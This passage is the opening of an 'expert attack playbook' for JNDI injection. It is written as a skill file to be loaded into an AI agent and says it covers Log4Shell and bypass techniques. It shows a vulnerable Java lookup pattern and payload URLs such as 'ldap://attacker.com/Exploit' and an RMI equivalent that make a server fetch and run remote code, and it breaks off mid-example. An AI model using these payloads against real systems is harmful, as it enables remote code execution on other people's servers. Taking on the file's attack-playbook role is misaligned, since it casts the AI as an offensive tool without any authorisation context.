jndi-injectionlisted

# SKILL: JNDI Injection — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface. ## 0. RELATED ROUTING - [deserialization-insecure](../deserialization-insecure/SKILL.md) when JNDI leads to deserialization (post-8u191 bypass path) - [expression-language-injection](../expression-language-injection/SKILL.md) when the JNDI sink is reached via SpEL or OGNL expression evaluation --- ## 1. CORE MECHANISM JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA). **Vulnerability**: when `InitialContext.lookup(USER_INPUT)` receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code. ```java // Vulnerable code pattern: String name = request.getParameter("resource"); Context ctx = new InitialContext(); Object obj = ctx.lookup(name); // name = "ldap://attacker.com/Exploit" ``` --- ## 2. ATTACK VECTORS ### RMI (Remote Method Invocation) ``` rmi://attacker.com:1099/Exploit ``` Attacker runs an RMI server returning a `Reference` object pointing to a remote class: ```java // Attacker's RMI server returns: Reference ref